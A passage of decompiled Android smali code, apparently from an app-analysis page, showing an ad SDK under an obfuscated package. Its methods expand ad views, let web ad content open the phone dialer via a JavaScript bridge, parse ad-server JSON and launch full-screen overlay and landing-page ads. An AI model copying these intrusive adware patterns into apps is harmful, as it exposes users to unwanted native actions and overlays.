106 | invoke-virtual {v9, v1}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V | |
107 | cond_9a: | |
108 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
110 | invoke-virtual {v3, v9}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V | |
112 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
113 | iget v10, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
115 | invoke-virtual {v9, v8, v10}, Landroid/view/ViewGroup;->addView(Landroid/view/View;I)V | |
117 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
118 | const/16 v10, 0x8 | |
120 | invoke-virtual {v9, v10}, Landroid/view/ViewGroup;->setVisibility(I)V |
|
122 | const-string v9, "expanded" | |
124 | invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V |
|
125 | if-eqz p1, :cond_bf | |
127 | const-string v9, "" | |
129 | invoke-virtual {p1, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
130 | move-result v9 | |
131 | if-nez v9, :cond_bf | |
133 | invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView;->loadUrl(Ljava/lang/String;)V | |
134 | cond_bf: | |
135 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
136 | if-eqz v9, :cond_c8 | |
138 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
140 | invoke-interface {v9}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdExpandedListner()V | |
141 | cond_c8: | |
142 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
143 | if-eqz v9, :cond_d1 | |
145 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
146 | const/4 v10, 0x0 | |
147 | iput-boolean v10, v9, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
148 | cond_d1: | |
149 | const-string v9, "94" | |
151 | invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
152 | try_end_d6: return-void | |
153 | cond_d7: add-int/lit8 v6, v6, 0x1 | |
154 | goto/16 :goto_56 | |
155 | catch_db: move-exception v5 | |
157 | const-string v9, "89" | |
159 | invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
161 | invoke-virtual {v5}, Ljava/lang/Exception;->printStackTrace()V | |
162 | goto/16 :goto_d6 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "phoneNumber" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
5 | const-string v3, "AirplayMraid" | |
7 | const-string v4, "Showing dialer....." | |
9 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
10 | try_start_7: | |
11 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
13 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
14 | move-result-object v3 | |
15 | if-eqz v3, :cond_18 | |
17 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
19 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
20 | move-result-object v3 | |
22 | invoke-interface {v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
23 | cond_18: if-eqz p1, :cond_22 | |
25 | const-string v3, "" | |
27 | invoke-virtual {p1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
28 | move-result v3 | |
29 | if-eqz v3, :cond_2c | |
30 | cond_22: | |
31 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
33 | const-string v4, "showDialer" | |
35 | const-string v5, "Phone numer is null." | |
37 | invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
38 | goto_2b: return-void | |
39 | cond_2c: new-instance v3, Ljava/lang/StringBuilder; | |
41 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
43 | const-string v4, "tel:" | |
45 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
46 | move-result-object v3 | |
48 | invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
49 | move-result-object v3 | |
51 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
52 | move-result-object v3 | |
54 | invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
55 | move-result-object v2 | |
56 | new-instance v1, Landroid/content/Intent; | |
58 | const-string v3, "android.intent.action.DIAL" | |
60 | invoke-direct {v1, v3, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
61 | const/high16 v3, 0x10000000 | |
63 | invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
64 | const/high16 v3, 0x800000 | |
66 | invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
68 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
70 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
71 | move-result-object v3 | |
73 | invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
75 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
77 | const-string v4, "97" | |
79 | invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
80 | goto_64: | |
81 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
82 | const/4 v4, 0x1 | |
84 | invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
85 | goto/16 :goto_2b | |
86 | catch_6b: move-exception v0 | |
88 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
90 | const-string v4, "showDialer" | |
92 | const-string v5, "Error occurred while dialing number." | |
94 | invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
96 | const-string v3, "AirplayMraid" | |
97 | new-instance v4, Ljava/lang/StringBuilder; | |
99 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
101 | const-string v5, "Error whlie displaying push ad......: " | |
103 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
104 | move-result-object v4 | |
106 | invoke-virtual {v0}, Landroid/content/ActivityNotFoundException;->getMessage()Ljava/lang/String; | |
107 | move-result-object v5 | |
109 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
110 | move-result-object v4 | |
112 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
113 | move-result-object v4 | |
115 | invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
117 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
119 | const-string v4, "89" | |
121 | invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
122 | goto/16 :goto_64 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "jsonObject" # Lorg/json/JSONObject; | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Lorg/json/JSONException;, | |
5 | Ljava/lang/Exception; | |
6 | } | |
7 | .end annotation | |
8 | .prologue | |
9 | const/4 v7, 0x1 | |
10 | const/4 v6, 0x0 | |
12 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
14 | const-string v5, "status" | |
16 | invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
17 | move-result v4 | |
19 | const-string v5, "message" | |
21 | invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
22 | move-result-object v3 | |
24 | const-string v5, "error" | |
26 | invoke-virtual {p2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
27 | move-result v5 | |
28 | if-eqz v5, :cond_82 | |
29 | move v5, v6 | |
30 | goto_1a: iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isErrorReporting:Z | |
31 | const/16 v5, 0xc8 | |
32 | if-ne v4, v5, :cond_d6 | |
34 | const-string v5, "Success" | |
36 | invoke-virtual {v3, v5}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
37 | move-result v5 | |
38 | if-eqz v5, :cond_d6 | |
40 | const-string v5, "data" | |
42 | invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
43 | move-result-object v0 | |
44 | new-instance v1, Lorg/json/JSONObject; | |
46 | invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
48 | const-string v5, "guid" | |
50 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
51 | move-result v5 | |
52 | if-eqz v5, :cond_89 | |
54 | const-string v5, "" | |
55 | goto_3d: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->guid:Ljava/lang/String; | |
57 | const-string v5, "url" | |
59 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
60 | move-result v5 | |
61 | if-eqz v5, :cond_90 | |
63 | const-string v5, "" | |
64 | goto_49: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->ad_url:Ljava/lang/String; | |
66 | const-string v5, "refreshtime" | |
68 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
69 | move-result v5 | |
70 | if-eqz v5, :cond_97 | |
71 | const/16 v5, 0x2d | |
72 | goto_55: iput v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->refreshTime:I | |
74 | const-string v5, "impurl" | |
76 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
77 | move-result v5 | |
78 | if-eqz v5, :cond_9e | |
80 | const-string v5, "" | |
81 | goto_61: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->impression_url:Ljava/lang/String; | |
83 | const-string v5, "istag" | |
85 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
86 | move-result v5 | |
87 | if-eqz v5, :cond_a5 | |
88 | move v2, v6 | |
89 | goto_6c: packed-switch v2, :pswitch_data_dc | |
90 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z | |
91 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z | |
92 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z | |
93 | goto_75: | |
94 | const-string v5, "tag" | |
96 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
97 | move-result v5 | |
98 | if-eqz v5, :cond_cf | |
100 | const-string v5, "" | |
101 | goto_7f: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->tag:Ljava/lang/String; | |
102 | return-void | |
103 | cond_82: | |
104 | const-string v5, "error" | |
106 | invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z |
|
107 | move-result v5 | |
108 | goto/16 :goto_1a | |
109 | cond_89: | |
110 | const-string v5, "guid" | |
112 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
113 | move-result-object v5 | |
114 | goto/16 :goto_3d | |
115 | cond_90: | |
116 | const-string v5, "url" | |
118 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
119 | move-result-object v5 | |
120 | goto/16 :goto_49 | |
121 | cond_97: | |
122 | const-string v5, "refreshtime" | |
124 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
125 | move-result v5 | |
126 | goto/16 :goto_55 | |
127 | cond_9e: | |
128 | const-string v5, "impurl" | |
130 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
131 | move-result-object v5 | |
132 | goto/16 :goto_61 | |
133 | cond_a5: | |
134 | const-string v5, "istag" | |
136 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
137 | move-result v2 | |
138 | goto/16 :goto_6c | |
139 | pswitch_ac: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z | |
140 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z | |
141 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z | |
142 | goto/16 :goto_75 | |
143 | pswitch_b3: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z | |
144 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z | |
145 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z | |
146 | goto/16 :goto_75 | |
147 | pswitch_ba: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z | |
148 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z | |
149 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z | |
150 | goto/16 :goto_75 | |
151 | pswitch_c1: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z | |
152 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z | |
153 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z | |
154 | goto/16 :goto_75 | |
155 | pswitch_c8: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z | |
156 | iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z | |
157 | iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z | |
158 | goto/16 :goto_75 | |
159 | cond_cf: | |
160 | const-string v5, "tag" | |
162 | invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
163 | move-result-object v5 | |
164 | goto/16 :goto_7f | |
165 | cond_d6: new-instance v5, Ljava/io/IOException; | |
167 | invoke-direct {v5, v3}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V | |
168 | throw v5 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "json" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/16 v7, 0xc8 | |
3 | if-eqz p1, :cond_69 | |
4 | try_start_4: | |
5 | const-string v2, "invalid" | |
6 | new-instance v3, Lorg/json/JSONObject; | |
8 | invoke-direct {v3, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
10 | const-string v8, "status" | |
12 | invoke-virtual {v3, v8}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
13 | move-result v8 | |
14 | if-eqz v8, :cond_6a | |
15 | move v5, v7 | |
16 | goto_14: | |
17 | const-string v8, "message" | |
19 | invoke-virtual {v3, v8}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
20 | move-result v8 | |
21 | if-eqz v8, :cond_71 | |
22 | move-object v4, v2 | |
23 | goto_1d: if-ne v5, v7, :cond_91 | |
25 | const-string v7, "Success" | |
27 | invoke-virtual {v4, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
28 | move-result v7 | |
29 | if-eqz v7, :cond_91 | |
31 | const-string v7, "url" | |
33 | invoke-virtual {v3, v7}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
34 | move-result v7 | |
35 | if-eqz v7, :cond_78 | |
36 | move-object v6, v2 | |
37 | goto_30: | |
38 | invoke-virtual {v6, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
39 | move-result v7 | |
40 | if-nez v7, :cond_69 | |
42 | sget-object v7, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
44 | invoke-static {v7}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
45 | new-instance v1, Landroid/content/Intent; | |
47 | sget-object v7, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
48 | const-class v8, Lcom/vxjxu/jkhfn1870/SmartWallActivity; | |
50 | invoke-direct {v1, v7, v8}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
52 | const-string v7, "lpad" | |
54 | invoke-virtual {v1, v7}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
55 | const/high16 v7, 0x10000000 | |
57 | invoke-virtual {v1, v7}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
58 | const/high16 v7, 0x20000000 | |
60 | invoke-virtual {v1, v7}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
61 | const/high16 v7, 0x800000 | |
63 | invoke-virtual {v1, v7}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
65 | const-string v7, "adtype" | |
67 | const-string v8, "FP" | |
69 | invoke-virtual {v1, v7, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
71 | const-string v7, "url" | |
73 | invoke-virtual {v1, v7, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
74 | try_start_64: | |
75 | sget-object v7, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
77 | invoke-virtual {v7, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
78 | cond_69: return-void | |
79 | cond_6a: | |
80 | const-string v8, "status" | |
82 | invoke-virtual {v3, v8}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
83 | move-result v5 | |
84 | goto/16 :goto_14 | |
85 | cond_71: | |
86 | const-string v8, "message" | |
88 | invoke-virtual {v3, v8}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
89 | move-result-object v4 | |
90 | goto/16 :goto_1d | |
91 | cond_78: | |
92 | const-string v7, "url" | |
94 | invoke-virtual {v3, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
95 | move-result-object v6 | |
96 | goto/16 :goto_30 | |
97 | catch_7f: move-exception v0 | |
99 | const-string v7, "AirplaySDK" | |
101 | const-string v8, "Required SmartWallActivity not found in Manifest. Please add." | |
103 | invoke-static {v7, v8}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
104 | try_end_87: goto/16 :goto_69 | |
105 | catch_88: move-exception v0 | |
107 | const-string v7, "AirplaySDK" | |
109 | const-string v8, "Error in LandingPage json: " | |
111 | invoke-static {v7, v8, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
112 | goto/16 :goto_69 | |
113 | try_start_91: | |
114 | invoke-static {v5, v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
115 | try_end_94: goto/16 :goto_69 | |
116 | catch_95: move-exception v0 | |
118 | const-string v7, "AirplaySDK" | |
120 | const-string v8, "Error in LandingPage response: " | |
122 | invoke-static {v7, v8, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
123 | goto/16 :goto_69 | |
124 | catch_9e: move-exception v7 | |
125 | goto/16 :goto_69 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "url" # Ljava/lang/String; | |
2 | .prologue | |
4 | invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V | |
5 | try_start_3: | |
6 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
8 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$300(Lcom/vxjxu/jkhfn1870/OverlayAd;)Z | |
9 | move-result v1 | |
10 | if-eqz v1, :cond_57 | |
12 | const-string v1, "AirplaySDK" | |
14 | const-string v2, "Error in loading" | |
16 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
18 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
20 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
22 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
23 | move-result-object v1 | |
25 | const-string v2, "DAU" | |
27 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
28 | move-result v1 | |
29 | if-nez v1, :cond_3b | |
31 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
32 | move-result-object v1 | |
34 | const-string v2, "DCC" | |
36 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
37 | move-result v1 | |
38 | if-nez v1, :cond_3b | |
40 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
41 | move-result-object v1 | |
43 | const-string v2, "DCM" | |
45 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
46 | move-result v1 | |
47 | if-eqz v1, :cond_43 | |
48 | cond_3b: | |
49 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
51 | const-string v2, "184" | |
53 | invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
54 | cond_42: return-void | |
55 | cond_43: | |
56 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
58 | const-string v2, "183" | |
60 | invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
61 | try_end_4a: goto/16 :goto_42 | |
62 | catch_4b: move-exception v0 | |
64 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
66 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
68 | iget-object v1, v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
70 | invoke-virtual {v1}, Landroid/app/Activity;->finish()V | |
71 | goto/16 :goto_42 | |
72 | try_start_57: | |
73 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
75 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->show()V | |
77 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
78 | move-result-object v1 | |
80 | const-string v2, "DAU" | |
82 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
83 | move-result v1 | |
84 | if-nez v1, :cond_80 | |
86 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
87 | move-result-object v1 | |
89 | const-string v2, "DCC" | |
91 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
92 | move-result v1 | |
93 | if-nez v1, :cond_80 | |
95 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String; | |
96 | move-result-object v1 | |
98 | const-string v2, "DCM" | |
100 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
101 | move-result v1 | |
102 | if-eqz v1, :cond_91 | |
103 | cond_80: | |
104 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
106 | const-string v2, "43" | |
108 | invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
109 | goto_87: | |
110 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
111 | if-eqz v1, :cond_42 | |
113 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
115 | invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onSmartWallAdShowing()V | |
116 | goto/16 :goto_42 | |
117 | cond_91: | |
118 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
120 | const-string v2, "23" | |
122 | invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V |
|
123 | try_end_98: goto/16 :goto_87 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "any" # [Ljava/lang/String; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | const-string v0, "" | |
9 | const/4 v5, 0x0 | |
10 | goto_3: array-length v6, p1 | |
11 | if-ge v5, v6, :cond_96 | |
12 | if-nez v5, :cond_4e | |
13 | new-instance v2, Ljava/text/SimpleDateFormat; | |
15 | const-string v6, "yyyy-MM-dd" | |
17 | invoke-direct {v2, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
18 | aget-object v6, p1, v5 | |
20 | invoke-virtual {v2, v6}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date; | |
21 | move-result-object v1 | |
23 | sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
24 | new-instance v7, Ljava/lang/StringBuilder; | |
26 | invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V | |
28 | const-string v8, "dt: " | |
